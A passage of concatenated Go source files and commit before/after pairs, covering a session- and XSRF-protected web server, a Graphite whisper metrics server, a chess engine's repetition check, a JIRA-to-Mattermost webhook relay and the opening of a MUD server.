	"github.com/spacemonkeygo/errors"
	"github.com/spacemonkeygo/errors/errhttp"
	goflagutils "github.com/MJDSys/flagfile/utils"
	"github.com/yosssi/boltstore/reaper"
	"github.com/yosssi/boltstore/store"
)

var (
	SetupErrors   = errors.NewClass("Error during setup")
	SecurityError = errors.NewClass("Security setup failed")
)

const (
	globalSessionName = "SESSION"
)

var httpConfig struct {
	Listen string `default:":8080" usage:"Address for server to listen on"`
}

var emailConfig struct {
	FromAddress  string `default:"no-reply@invalid" usage:"From address for use in emails"`
	FromName     string `usage:"From name for use in emails"`
	ContactEmail string `default:"info@invalid" "usage:"Contact email address for use in emails"`
	Server       string `default:"localhost:25" usage:"Server to use for sending messages"`
}

var generalConfig struct {
	Domain              string `default:"invalid" usage:"Domain for use in emails, etc to link people to"`
	Database            string `default:"records.bolt" usage:"Location to store the database"`
	AccessToken         string `usage:"Token to access database.  Generated randomly and printed if not set"`
	StaticFilesLocation string `default:"../app" usage:"Location of static files for the site"`
	Integration         bool   `default:"false" usage:"Set when running an integration binary for testing."`
	Develop             bool   `default:"false" usage:"Set when running a binary for development."`
}

type stringSliceConfig []string

func (s *stringSliceConfig) Set(value string) error {
	*s = strings.Split(value, ",")
	return nil
}

func (s stringSliceConfig) String() string {
	return fmt.Sprintf("\"%s\"", strings.Join(s, ","))
}

var authConfig struct {
	ClientID      string            `default:"" usage:"Client id for use with Google OAuth"`
	ClientSecret  string            `default:"" usage:"Client secret for use with Google OAuth"`
	AllowedEmails stringSliceConfig `usage:"Allowed email addresses, comma separated."`
}

func init() {
	goflagutils.Setup("http", &httpConfig)
	goflagutils.Setup("email", &emailConfig)
	goflagutils.Setup("auth", &authConfig)
	goflagutils.Setup("", &generalConfig)
}

type requestLogger struct {
	H http.Handler
}

type wWrapperLogger struct {
	code int
	http.ResponseWriter
}

func (w *wWrapperLogger) WriteHeader(code int) {
	w.code = code
	w.ResponseWriter.WriteHeader(code)
}

func (h *requestLogger) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	start := time.Now()
	wrappedW := &wWrapperLogger{
		ResponseWriter: w,
		code:           http.StatusOK, // Default code
	}
	h.H.ServeHTTP(wrappedW, r)
	duration := time.Now().Sub(start)
	log.Printf("Handled request for url %s, code %v, took %s seconds", r.URL, wrappedW.code, duration)
}

type grabDb struct {
	db *bolt.DB
}

func (h *grabDb) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	err := h.db.View(func(tx *bolt.Tx) error {
		w.Header()["Content-Length"] = []string{fmt.Sprint(tx.Size())}
		return tx.Copy(w)
	})
	if err != nil {
		log.Panicf("Got error while copying database %s", err)
	}
}

type sessionSaver struct {
	h http.Handler
}

type wWrapperSession struct {
	req *http.Request
	http.ResponseWriter
	valid bool
}

func (w *wWrapperSession) WriteHeader(code int) {
	err := sessions.Save(w.req, w.ResponseWriter)
	if err != nil {
		http.Error(w.ResponseWriter, "Failed to save user session", http.StatusServiceUnavailable)
		log.Print("Failed to setup user session: ", err)
		w.valid = false
		return
	}
	w.ResponseWriter.WriteHeader(code)
}

func (w *wWrapperSession) Write(p []byte) (int, error) {
	if !w.valid {
		return len(p), nil
	} else {
		return w.ResponseWriter.Write(p)
	}
}

func (h *sessionSaver) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	h.h.ServeHTTP(&wWrapperSession{r, w, true}, r)
}

func httpError(w http.ResponseWriter, err error) {
	http.Error(w, errhttp.GetErrorBody(err), errhttp.GetStatusCode(err, 500))
}

type xsrfTokenCreator struct {
	Handler http.Handler
	store   sessions.Store
}

type xsrfSessionTokenType int

const xsrfSessionToken xsrfSessionTokenType = 0

func init() {
	gob.Register(xsrfSessionToken)
}

func (h *xsrfTokenCreator) setXsrfToken(w http.ResponseWriter, r *http.Request) error {
	var random [33]byte
	if _, err := rand.Read(random[:]); err != nil {
		return SecurityError.New("Failed to generate XSRF prevention token")
	}
	key := base64.URLEncoding.EncodeToString(random[:])
	const maxAge = 60 * 60 * 24 * 30
	expires := time.Now().Add(maxAge * time.Second)
	cookie := &http.Cookie{
		Name:     "XSRF-TOKEN",
		Value:    key,
		HttpOnly: false,
		Path:     "/",
		Secure:   !(generalConfig.Integration || generalConfig.Develop),
		Expires:  expires,
		MaxAge:   maxAge,
	}
	http.SetCookie(w, cookie)

	sess, err := sessions.GetRegistry(r).Get(h.store, globalSessionName)
	if err != nil && sess == nil {
		log.Print("Failed to setup session, error: ", err)
		return SecurityError.New("Failed to setup session")
	}
	sess.Values[xsrfSessionToken] = key

	return nil
}

func (h *xsrfTokenCreator) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	if err := h.setXsrfToken(w, r); err != nil {
		httpError(w, err)
	} else {
		h.Handler.ServeHTTP(w, r)
	}
}

type xsrfVerifierHandler struct {
	creator *xsrfTokenCreator
	Handler http.Handler
}

func (h *xsrfVerifierHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	var tokenHeader, tokenSession string
	// Empty tokenHeaders are considered invalid.  So unless this matches my expectations, I can ignore it.
	tokenHeader = r.Header.Get("X-Xsrf-Token")
	// If err != nil or the conversion fails, tokenSession is empty and can't match a non-empty tokenHeader and is thus safe to ignore.
	if session, err := h.creator.store.Get(r, globalSessionName); err == nil {
		tokenSession, _ = session.Values[xsrfSessionToken].(string)
	}
	if err := h.creator.setXsrfToken(w, r); err != nil {
		log.Print("Failed to create new token when verifying, error swallowed (%s)!", err)
	}
	if len(tokenHeader) != 0 && len(tokenSession) == len(tokenHeader) && subtle.ConstantTimeCompare([]byte(tokenSession), []byte(tokenHeader)) == 1 {
		h.Handler.ServeHTTP(w, r)
	} else {
		http.Error(w, "Invalid XSRF token", http.StatusBadRequest)
	}
}

type httpRouter interface {
	Handle(string, http.Handler)
	HandleFunc(string, func(http.ResponseWriter, *http.Request))
	ServeHTTP(http.ResponseWriter, *http.Request)
}

func setupStandardHandlers(globalRouter httpRouter, db *bolt.DB) (http.Handler, chan<- struct{}, <-chan struct{}, error) {
	key := generalConfig.AccessToken
	if key == "" {
		var random [32]byte
		if _, err := rand.Read(random[:]); err != nil {
			return nil, nil, nil, SetupErrors.New("During startup, failed to get entropy", err)
		}
		key = base64.URLEncoding.EncodeToString(random[:])
		log.Print("DB Token: ", key)
	}

	r := mux.NewRouter()
	ormDb := boltorm.NewBoltDB(db)
	apiR := r.PathPrefix("/api/").Subrouter()
	boltStore, err := store.New(db, store.Config{
		SessionOptions: sessions.Options{
			Path:     "/",
			MaxAge:   60 * 60 * 24 * 30,
			Secure:   !(generalConfig.Integration || generalConfig.Develop),
			HttpOnly: true,
		},
		DBOptions: store.Options{
			BucketName: []byte("SESSIONS_BUCKET"),
		},
	}, []byte(key))
	if err != nil {
		return nil, nil, nil, SetupErrors.New("Failed to setup session data")
	}

	invDb, err := NewInvoiceDb(ormDb)
	if err != nil {
		return nil, nil, nil, SetupErrors.New("Failed to get invoice database started")
	}

	gprdb, err := NewPreRegBoltDb(ormDb, invDb)
	if err != nil {
		return nil, nil, nil, SetupErrors.New("Failed to get group preregistration database started", err)
	}

	ces := NewConfirmationEmailService(generalConfig.Domain, emailConfig.FromAddress, emailConfig.FromName, emailConfig.ContactEmail, NewLocalMailder(emailConfig.Server), gprdb)

	authHandler := NewAuthenticationHandler(apiR, boltStore)
	NewGroupPreRegistrationHandler(apiR, gprdb, authHandler, ces)

	apiR.Handle("/grabdb", &grabDb{db}).Headers("X-My-Auth-Token", key).Methods("GET").Queries("key", key)

	globalRouter.Handle("/api/", &xsrfVerifierHandler{&xsrfTokenCreator{nil, boltStore}, apiR})
	otherFiles := http.FileServer(http.Dir(generalConfig.StaticFilesLocation))
	globalRouter.Handle("/app.css", otherFiles)
	globalRouter.Handle("/app.js", otherFiles)
	globalRouter.Handle("/components/", otherFiles)
	globalRouter.Handle("/views/", otherFiles)
	globalRouter.Handle("/bower_components/", otherFiles)
	indexLocation := generalConfig.StaticFilesLocation + "/index.html"
	globalRouter.Handle("/", &xsrfTokenCreator{http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		http.ServeFile(w, r, indexLocation)
	}), boltStore})
	quitC, doneC := reaper.Run(db, reaper.Options{BucketName: []byte("SESSIONS_BUCKET")})
	return &sessionSaver{globalRouter}, quitC, doneC, nil
}
<|endoftext|>


<commit_before>package main

import (
	//"github.com/kisielk/whisper-go/whisper"
	whisper "github.com/robyoung/go-whisper"
	pickle "github.com/kisielk/og-rek"

	"net/http"
	"encoding/json"
	"path/filepath"
	"strings"
	"strconv"
	"math"
	"fmt"
)

var config = struct {
	WhisperData	string
}{
	WhisperData: "/var/lib/carbon/whisper",
	//WhisperData: "..",
}

type WhisperFetchResponse struct {
	Name        string      `json:"name"`
	StartTime   int         `json:"startTime"`
	StopTime    int         `json:"stopTime"`
	StepTime    int         `json:"stepTime"`
	Values      []float64   `json:"values"`
	IsAbsent    []bool      `json:"isAbsent"`
}

type WhisperGlobResponse struct {
	Name        string      `json:"name"`
	Paths       []string    `json:"paths"`
}

func findHandler(wr http.ResponseWriter, req *http.Request) {
//	GET /metrics/find/?local=1&format=pickle&query=general.hadoop.lhr4.ha201jobtracker-01.jobtracker.NonHeapMemoryUsage.committed HTTP/1.1
//	http://localhost:8080/metrics/find/?query=test
	req.ParseForm()
	glob := req.FormValue("query")
	format := req.FormValue("format")

	if format != "json" && format != "pickle" {
		fmt.Printf("dropping invalid uri (format=%s): %s\n",
				format, req.URL.RequestURI())
		return
	}

	/* things to glob:
	 * - carbon.relays  -> carbon.relays
	 * - carbon.re      -> carbon.relays, carbon.rewhatever
	 * - carbon.[rz]    -> carbon.relays, carbon.zipper
	 * - carbon.{re,zi} -> carbon.relays, carbon.zipper
	 * - implicit * at the end of each query
	 * - match is either dir or .wsp file
	 * unfortunately, filepath.Glob doesn't handle the curly brace
	 * expansion for us */
	lbrace := strings.Index(glob, "{")
	rbrace := -1
	if lbrace > -1 {
		rbrace = strings.Index(glob[lbrace:], "}")
		if rbrace > -1 {
			rbrace += lbrace
		}
	}
	files := make([]string, 0)
	if lbrace > -1 && rbrace > -1 {
		expansion := glob[lbrace + 1:rbrace]
		parts := strings.Split(expansion, ",")
		for _, sub := range parts {
			sglob := glob[:lbrace] + sub + glob[rbrace + 1:]
			path := config.WhisperData + "/" + strings.Replace(sglob, ".", "/", -1) + "*"
			nfiles, err := filepath.Glob(path)
			if err == nil {
				files = append(files, nfiles...)
			}
		}
	} else {
		path := config.WhisperData + "/" + strings.Replace(glob, ".", "/", -1) + "*"
		nfiles, err := filepath.Glob(path)
		if err == nil {
			files = append(files, nfiles...)
		}
	}

	leafs := make([]bool, len(files))
	for i, p := range files {
		p = p[len(config.WhisperData + "/"):]
		if strings.HasSuffix(p, ".wsp") {
			p = p[:len(p) - 4]
			leafs[i] = true
		} else {
			leafs[i] = false
		}
		files[i] = strings.Replace(p, "/", ".", -1)
	}

	if format == "json" {
		response := WhisperGlobResponse {
			Name:		glob,
			Paths:		make([]string, 0),
		}
		for _, p := range files {
			response.Paths = append(response.Paths, p)
		}
		b, err := json.Marshal(response)
		if err != nil {
			fmt.Printf("failed to create JSON data for %s: %s\n", glob, err)
			return
		}
		wr.Write(b)
	} else if format == "pickle" {
		// [{'metric_path': 'metric', 'intervals': [(x,y)], 'isLeaf': True},]
		var metrics []map[string]interface{}
		var m map[string]interface{}

		for i, p := range files {
			m = make(map[string]interface{})
			m["metric_path"] = p
			// m["intervals"] = dunno how to do a tuple here
			m["isLeaf"] = leafs[i]
			metrics = append(metrics, m)
		}

		wr.Header().Set("Content-Type", "application/pickle")
		pEnc := pickle.NewEncoder(wr)
		pEnc.Encode(metrics)
	}
	fmt.Printf("find: %d hits for %s\n", len(files), glob)
	return
}

func fetchHandler(wr http.ResponseWriter, req *http.Request) {
//	GET /render/?target=general.me.1.percent_time_active.pfnredis&format=pickle&from=1396008021&until=1396022421 HTTP/1.1
//	http://localhost:8080/render/?target=testmetric&format=json&from=1395961200&until=1395961800
	req.ParseForm()
	metric := req.FormValue("target")
	format := req.FormValue("format")
	from := req.FormValue("from")
	until := req.FormValue("until")

	if format != "json" && format != "pickle" {
		fmt.Printf("dropping invalid uri (format=%s): %s\n",
				format, req.URL.RequestURI())
		http.Error(wr, "Bad request (unsupported format)", http.StatusBadRequest)
		return
	}

	path := config.WhisperData + "/" + strings.Replace(metric, ".", "/", -1) + ".wsp"
	w, err := whisper.Open(path)
	if err != nil {
		// the FE/carbonzipper often requests metrics we don't have
		//fmt.Printf("failed to open %s: %s\n", path, err)
		http.Error(wr, "Metric not found", http.StatusNotFound)
		return
	}

	i, err := strconv.Atoi(from)
	if err != nil {
		fmt.Printf("fromTime (%s) invalid: %s\n", from, err)
		if w != nil {
			w.Close()
		}
		w = nil
	}
	fromTime := int(i)
	i, err = strconv.Atoi(until)
	if err != nil {
		fmt.Printf("untilTime (%s) invalid: %s\n", from, err)
		if w != nil {
			w.Close()
		}
		w = nil
	}
	untilTime := int(i)

	if (w != nil) {
		defer w.Close()
	} else {
		http.Error(wr, "Bad request (invalid from/until time)", http.StatusBadRequest)
		return
	}

	points, err := w.Fetch(fromTime, untilTime)
	if err != nil {
		fmt.Printf("failed to getch points from %s: %s\n", path, err)
		return
	}
	values := points.Values()

	if format == "json" {
		response := WhisperFetchResponse {
			Name:		metric,
			StartTime:	points.FromTime(),
			StopTime:	points.UntilTime(),
			StepTime:	points.Step(),
			Values:		make([]float64, len(values)),
			IsAbsent:	make([]bool, len(values)),
		}

		for i, p := range values {
			if math.IsNaN(p) {
				response.Values[i] = 0
				response.IsAbsent[i] = true
			} else {
				response.Values[i] = p
				response.IsAbsent[i] = false
			}
		}

		b, err := json.Marshal(response)
		if err != nil {
			fmt.Printf("failed to create JSON data for %s: %s\n", path, err)
			return
		}
		wr.Write(b)
	} else if format == "pickle" {
		//[{'start': 1396271100, 'step': 60, 'name': 'metric',
		//'values': [9.0, 19.0, None], 'end': 1396273140}
		var metrics []map[string]interface{}
		var m map[string]interface{}

		m = make(map[string]interface{})
		m["start"] = points.FromTime()
		m["step"] = points.Step()
		m["end"] = points.UntilTime()
		m["name"] = metric

		mv := make([]interface{}, len(values))
		for i, p := range values {
			if math.IsNaN(p) {
				mv[i] = nil
			} else {
				mv[i] = p
			}
		}

		m["values"] = mv
		metrics = append(metrics, m)

		wr.Header().Set("Content-Type", "application/pickle")
		pEnc := pickle.NewEncoder(wr)
		pEnc.Encode(metrics)
	}

	fmt.Printf("served %d points\n", len(values))
	return
}

func main() {
	http.HandleFunc("/metrics/find/", findHandler)
	http.HandleFunc("/render/", fetchHandler)

	http.ListenAndServe(":8080", nil)
}
<commit_msg>fetch: show which metric we rendered<commit_after>package main

import (
	//"github.com/kisielk/whisper-go/whisper"
	whisper "github.com/robyoung/go-whisper"
	pickle "github.com/kisielk/og-rek"

	"net/http"
	"encoding/json"
	"path/filepath"
	"strings"
	"strconv"
	"math"
	"fmt"
)

var config = struct {
	WhisperData	string
}{
	WhisperData: "/var/lib/carbon/whisper",
	//WhisperData: "..",
}

type WhisperFetchResponse struct {
	Name        string      `json:"name"`
	StartTime   int         `json:"startTime"`
	StopTime    int         `json:"stopTime"`
	StepTime    int         `json:"stepTime"`
	Values      []float64   `json:"values"`
	IsAbsent    []bool      `json:"isAbsent"`
}

type WhisperGlobResponse struct {
	Name        string      `json:"name"`
	Paths       []string    `json:"paths"`
}

func findHandler(wr http.ResponseWriter, req *http.Request) {
//	GET /metrics/find/?local=1&format=pickle&query=general.hadoop.lhr4.ha201jobtracker-01.jobtracker.NonHeapMemoryUsage.committed HTTP/1.1
//	http://localhost:8080/metrics/find/?query=test
	req.ParseForm()
	glob := req.FormValue("query")
	format := req.FormValue("format")

	if format != "json" && format != "pickle" {
		fmt.Printf("dropping invalid uri (format=%s): %s\n",
				format, req.URL.RequestURI())
		return
	}

	/* things to glob:
	 * - carbon.relays  -> carbon.relays
	 * - carbon.re      -> carbon.relays, carbon.rewhatever
	 * - carbon.[rz]    -> carbon.relays, carbon.zipper
	 * - carbon.{re,zi} -> carbon.relays, carbon.zipper
	 * - implicit * at the end of each query
	 * - match is either dir or .wsp file
	 * unfortunately, filepath.Glob doesn't handle the curly brace
	 * expansion for us */
	lbrace := strings.Index(glob, "{")
	rbrace := -1
	if lbrace > -1 {
		rbrace = strings.Index(glob[lbrace:], "}")
		if rbrace > -1 {
			rbrace += lbrace
		}
	}
	files := make([]string, 0)
	if lbrace > -1 && rbrace > -1 {
		expansion := glob[lbrace + 1:rbrace]
		parts := strings.Split(expansion, ",")
		for _, sub := range parts {
			sglob := glob[:lbrace] + sub + glob[rbrace + 1:]
			path := config.WhisperData + "/" + strings.Replace(sglob, ".", "/", -1) + "*"
			nfiles, err := filepath.Glob(path)
			if err == nil {
				files = append(files, nfiles...)
			}
		}
	} else {
		path := config.WhisperData + "/" + strings.Replace(glob, ".", "/", -1) + "*"
		nfiles, err := filepath.Glob(path)
		if err == nil {
			files = append(files, nfiles...)
		}
	}

	leafs := make([]bool, len(files))
	for i, p := range files {
		p = p[len(config.WhisperData + "/"):]
		if strings.HasSuffix(p, ".wsp") {
			p = p[:len(p) - 4]
			leafs[i] = true
		} else {
			leafs[i] = false
		}
		files[i] = strings.Replace(p, "/", ".", -1)
	}

	if format == "json" {
		response := WhisperGlobResponse {
			Name:		glob,
			Paths:		make([]string, 0),
		}
		for _, p := range files {
			response.Paths = append(response.Paths, p)
		}
		b, err := json.Marshal(response)
		if err != nil {
			fmt.Printf("failed to create JSON data for %s: %s\n", glob, err)
			return
		}
		wr.Write(b)
	} else if format == "pickle" {
		// [{'metric_path': 'metric', 'intervals': [(x,y)], 'isLeaf': True},]
		var metrics []map[string]interface{}
		var m map[string]interface{}

		for i, p := range files {
			m = make(map[string]interface{})
			m["metric_path"] = p
			// m["intervals"] = dunno how to do a tuple here
			m["isLeaf"] = leafs[i]
			metrics = append(metrics, m)
		}

		wr.Header().Set("Content-Type", "application/pickle")
		pEnc := pickle.NewEncoder(wr)
		pEnc.Encode(metrics)
	}
	fmt.Printf("find: %d hits for %s\n", len(files), glob)
	return
}

func fetchHandler(wr http.ResponseWriter, req *http.Request) {
//	GET /render/?target=general.me.1.percent_time_active.pfnredis&format=pickle&from=1396008021&until=1396022421 HTTP/1.1
//	http://localhost:8080/render/?target=testmetric&format=json&from=1395961200&until=1395961800
	req.ParseForm()
	metric := req.FormValue("target")
	format := req.FormValue("format")
	from := req.FormValue("from")
	until := req.FormValue("until")

	if format != "json" && format != "pickle" {
		fmt.Printf("dropping invalid uri (format=%s): %s\n",
				format, req.URL.RequestURI())
		http.Error(wr, "Bad request (unsupported format)", http.StatusBadRequest)
		return
	}

	path := config.WhisperData + "/" + strings.Replace(metric, ".", "/", -1) + ".wsp"
	w, err := whisper.Open(path)
	if err != nil {
		// the FE/carbonzipper often requests metrics we don't have
		//fmt.Printf("failed to open %s: %s\n", path, err)
		http.Error(wr, "Metric not found", http.StatusNotFound)
		return
	}

	i, err := strconv.Atoi(from)
	if err != nil {
		fmt.Printf("fromTime (%s) invalid: %s\n", from, err)
		if w != nil {
			w.Close()
		}
		w = nil
	}
	fromTime := int(i)
	i, err = strconv.Atoi(until)
	if err != nil {
		fmt.Printf("untilTime (%s) invalid: %s\n", from, err)
		if w != nil {
			w.Close()
		}
		w = nil
	}
	untilTime := int(i)

	if (w != nil) {
		defer w.Close()
	} else {
		http.Error(wr, "Bad request (invalid from/until time)", http.StatusBadRequest)
		return
	}

	points, err := w.Fetch(fromTime, untilTime)
	if err != nil {
		fmt.Printf("failed to getch points from %s: %s\n", path, err)
		return
	}
	values := points.Values()

	if format == "json" {
		response := WhisperFetchResponse {
			Name:		metric,
			StartTime:	points.FromTime(),
			StopTime:	points.UntilTime(),
			StepTime:	points.Step(),
			Values:		make([]float64, len(values)),
			IsAbsent:	make([]bool, len(values)),
		}

		for i, p := range values {
			if math.IsNaN(p) {
				response.Values[i] = 0
				response.IsAbsent[i] = true
			} else {
				response.Values[i] = p
				response.IsAbsent[i] = false
			}
		}

		b, err := json.Marshal(response)
		if err != nil {
			fmt.Printf("failed to create JSON data for %s: %s\n", path, err)
			return
		}
		wr.Write(b)
	} else if format == "pickle" {
		//[{'start': 1396271100, 'step': 60, 'name': 'metric',
		//'values': [9.0, 19.0, None], 'end': 1396273140}
		var metrics []map[string]interface{}
		var m map[string]interface{}

		m = make(map[string]interface{})
		m["start"] = points.FromTime()
		m["step"] = points.Step()
		m["end"] = points.UntilTime()
		m["name"] = metric

		mv := make([]interface{}, len(values))
		for i, p := range values {
			if math.IsNaN(p) {
				mv[i] = nil
			} else {
				mv[i] = p
			}
		}

		m["values"] = mv
		metrics = append(metrics, m)

		wr.Header().Set("Content-Type", "application/pickle")
		pEnc := pickle.NewEncoder(wr)
		pEnc.Encode(metrics)
	}

	fmt.Printf("served %d points for %s\n", len(values), metric)
	return
}

func main() {
	http.HandleFunc("/metrics/find/", findHandler)
	http.HandleFunc("/render/", fetchHandler)

	http.ListenAndServe(":8080", nil)
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"time"
)

func main() {
	var (
		depth = flag.Int("depth", 4, "the search depth")
		fen   = flag.String("fen", InitialPositionFEN, "the FEN record of the starting position")
	)
	flag.Parse()
	if *depth < 1 {
		panic("invalid search depth")
	}

	pos, err := ParseFEN(*fen)
	if err != nil {
		panic(err)
	}

	var movesText string

	for !IsTerminal(pos) {
		moveTime := time.Now()

		score, move := SearchPosition(pos, *depth)

		if pos.ToMove == White {
			fmt.Printf("\n%v.", pos.FullMove)
			movesText += fmt.Sprintf("%v.", pos.FullMove)
		} else {
			fmt.Printf("\n%v...", pos.FullMove)
		}
		fmt.Printf("%v %.2f %v", algebraic(pos, move), float64(score)/100, time.Since(moveTime))
		movesText += algebraic(pos, move) + " "

		pos = Make(pos, move)
		if pos.z != pos.Zobrist() {
			panic(fmt.Sprintf("pos.z is %x, want %x", pos.z, pos.Zobrist()))
		}

		fmt.Print(pos.Display())
	}

	fmt.Printf("\n%v", movesText)
}
<commit_msg>check for threefold repetition<commit_after>package main

import (
	"flag"
	"fmt"
	"time"
)

func main() {
	var (
		depth = flag.Int("depth", 4, "the search depth")
		fen   = flag.String("fen", InitialPositionFEN, "the FEN record of the starting position")
	)
	flag.Parse()
	if *depth < 1 {
		panic("invalid search depth")
	}

	pos, err := ParseFEN(*fen)
	if err != nil {
		panic(err)
	}

	var movesText string

	posZobrists := make(map[Zobrist]int)

	for !IsTerminal(pos) {
		moveTime := time.Now()

		score, move := SearchPosition(pos, *depth)

		if pos.ToMove == White {
			fmt.Printf("\n%v.", pos.FullMove)
			movesText += fmt.Sprintf("%v.", pos.FullMove)
		} else {
			fmt.Printf("\n%v...", pos.FullMove)
		}
		fmt.Printf("%v %.2f %v", algebraic(pos, move), float64(score)/100, time.Since(moveTime))
		movesText += algebraic(pos, move) + " "

		pos = Make(pos, move)
		if pos.z != pos.Zobrist() {
			panic(fmt.Sprintf("pos.z is %x, want %x", pos.z, pos.Zobrist()))
		}

		fmt.Print(pos.Display())

		// Check for threefold repetition
		posZobrists[pos.z]++
		if posZobrists[pos.z] == 3 {
			movesText += "1/2-1/2"
			break
		}
	}

	fmt.Printf("\n%v", movesText)
}
<|endoftext|>


<commit_before>package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"log"
)

// Get it

type Data struct {
	WebhookEvent string
	User         struct {
		Name        string
		DisplayName string
	}
	Issue struct {
		Self   string
		Key    string
		Fields struct {
			Summary string
		}
	}
	Comment struct {
		Body string
	}
	Changelog []struct{
		Items struct{
			Field string
			FromString string
			ToString string
		      }
	}
}

// Send it

type Message struct {
	Text string
}

func index(w http.ResponseWriter, r *http.Request) {
	// Get mattermost URL
	mattermostHookURL := r.URL.Query().Get("mattermost_hook_url")

	// Parse JSON from JIRA
	decoder := json.NewDecoder(r.Body)
	var data Data
	decoder.Decode(&data)

	// Get JIRA URL
	u, _ := url.Parse(data.Issue.Self)

	// Select action
	var action, appendix string
	switch data.WebhookEvent {
	case "jira:issue_created":
		action = "created"
	case "jira:issue_updated":
		action = "updated"
	case "jira:issue_deleted":
		action = "deleted"
	}

	if len(data.Comment.Body) > 0 {
		action = "commented"
		appendix = fmt.Sprintf(" with\n>%s", data.Comment.Body)
	}

	// Create message for Mattermost
	text := fmt.Sprintf(
		//[UserFirstName UserSecondName](user_link) commented issue [[TSK-158]](issue_link) "Test task" with "Test comment"
		"[%s](%s://%s/secure/ViewProfile.jspa?name=%s) %s [%s](%s://%s/browse/%s) \"%s\"%s //\n%s//",
		data.User.DisplayName,
		u.Scheme,
		u.Host,
		data.User.Name,
		action,
		data.Issue.Key,
		u.Scheme,
		u.Host,
		data.Issue.Key,
		data.Issue.Fields.Summary,
		appendix,
		data.Changelog,

	)

	message := Message{
		Text: text,
	}

	byteMessage, _ := json.Marshal(message)

	if len(mattermostHookURL) > 0 {
		// Create http-client
		req, _ := http.NewRequest("POST", mattermostHookURL, bytes.NewBuffer(byteMessage))
		req.Header.Set("Content-Type", "application/json")

		// Send data to Mattermost
		client := &http.Client{}
		resp, err := client.Do(req)
		if err != nil {
			panic(err)
		}
		defer resp.Body.Close()
	} else {
		log.Println(text)
	}

}

func main() {

	port := os.Getenv("PORT")
	if port == "" {
		port = "5000"
	}
	http.HandleFunc("/", index)
	http.ListenAndServe(":"+port, nil)
}
<commit_msg>New message with images<commit_after>package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"log"
	"strings"
)

// Get it
type Data struct {
	WebhookEvent string
	User         struct {
		Name        string
		AvatarUrls map[string]string
		DisplayName string
	}
	Issue struct {
		Self   string
		Key    string
		Fields struct {
			Issuetype struct{
				iconUrl string
				Name string
				  }
			Summary string
		}
	}
	Comment struct {
		Body string
	}
	Changelog struct{
		Items []struct{
			Field string
			FromString string
			ToString string
		      }
	}
}

// Send it
type Message struct {
	Text string
}

func index(w http.ResponseWriter, r *http.Request) {
	// Get mattermost URL
	mattermostHookURL := r.URL.Query().Get("mattermost_hook_url")

	// Parse JSON from JIRA
	decoder := json.NewDecoder(r.Body)
	var data Data
	decoder.Decode(&data)

	// Get JIRA URL
	u, _ := url.Parse(data.Issue.Self)

	// Select action
	var action, comment string
	switch data.WebhookEvent {
	case "jira:issue_created":
		action = "created"
	case "jira:issue_updated":
		action = "updated"
	case "jira:issue_deleted":
		action = "deleted"
	}

	if len(data.Comment.Body) > 0 {
		action = "commented"
		comment = fmt.Sprintf("\n>%s", data.Comment.Body)
	}

	// Process changelog
	var changelog string
	if len(data.Changelog.Items) > 0 {
		for _, item := range data.Changelog.Items {
			changelog += fmt.Sprintf(
				"\n%s: ~~%s~~ %s",
				item.Field,
				item.FromString,
				item.ToString,
			)
		}
	}

	// Create message for Mattermost
	text := fmt.Sprintf(
		//[UserFirstName UserSecondName](user_link) commented issue [[TSK-158]](issue_link) "Test task" with "Test comment"
		"![user_icon](%s) [%s](%s://%s/secure/ViewProfile.jspa?name=%s) %s %s ![task_icon](%s) [%s](%s://%s/browse/%s) \"%s\"%s%s",
		data.User.AvatarUrls["16x16"],
		data.User.DisplayName,
		u.Scheme,
		u.Host,
		data.User.Name,
		action,
		strings.ToLower(data.Issue.Fields.Issuetype.Name),
		data.Issue.Fields.Issuetype.iconUrl,
		data.Issue.Key,
		u.Scheme,
		u.Host,
		data.Issue.Key,
		data.Issue.Fields.Summary,
		changelog,
		comment,
	)

	message := Message{
		Text: text,
	}

	byteMessage, _ := json.Marshal(message)

	if len(mattermostHookURL) > 0 {
		// Create http-client
		req, _ := http.NewRequest("POST", mattermostHookURL, bytes.NewBuffer(byteMessage))
		req.Header.Set("Content-Type", "application/json")

		// Send data to Mattermost
		client := &http.Client{}
		resp, err := client.Do(req)
		if err != nil {
			panic(err)
		}
		defer resp.Body.Close()
	} else {
		log.Println(text)
	}

}

func main() {

	port := os.Getenv("PORT")
	if port == "" {
		port = "5000"
	}
	http.HandleFunc("/", index)
	http.ListenAndServe(":"+port, nil)
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"github.com/trasa/watchmud/db"
	"github.com/trasa/watchmud/rpc"
	"github.com/trasa/watchmud/server"
	"github.com/trasa/watchmud/web"
	"log"
	"os"
)

var (
	worldFilesDir = flag.String("worldFilesDir", "./worldfiles", "directory where the world files can be found")
	serverPort    = flag.Int("serverPort", 10000, "Port to operate the gRPC server on")
	webPort       = flag.Int("webPort", 8888, "Port to operate the web server on")
	doHelp        = flag.Bool("help", false, "Show Help")
	doHelpAlias   = flag.Bool("h", false, "Show Help")
)

func usage() {
	fmt.Fprintf(os.Stderr, "Usage of %s\n", os.Args[0])
	fmt.Fprintf(os.Stderr, "\t%s [flags]\n", os.Args[0])
	fmt.Fprint(os.Stderr, "Flags:\n")
	flag.PrintDefaults()
}
func main() {
	flag.Parse()
	if *doHelp || *doHelpAlias {
		usage()
		os.Exit(2)
		return
	}

	if err := db.Init(); err != nil {
		log.Fatalf("Failed to initialize database persistence: %v", err)
	}

	gameserver, err := server.NewGameServer(*worldFilesDir)
	if err != nil {
		log.Fatalf("Failed to start NewGameServer: %v", err)
	}
	go gameserver.Run()

	// grpc server
	rpcServer := rpc.NewServer(gameserver)
	go rpcServer.Run(*serverPort)

	web.Start(*webPort)

	// tell everybody to quit
	//close(server.GlobalQuit)
	// TODO some sort of server.GameServerInstance.Shutdown() ?
}
<commit_msg>log to file as well as stdout<commit_after>package main

import (
	"flag"
	"fmt"
	"github.com/trasa/watchmud/db"
	"github.com/trasa/watchmud/rpc"
	"github.com/trasa/watchmud/server"
	"github.com/trasa/watchmud/web"
	"io"
	"log"
	"os"
)

var (
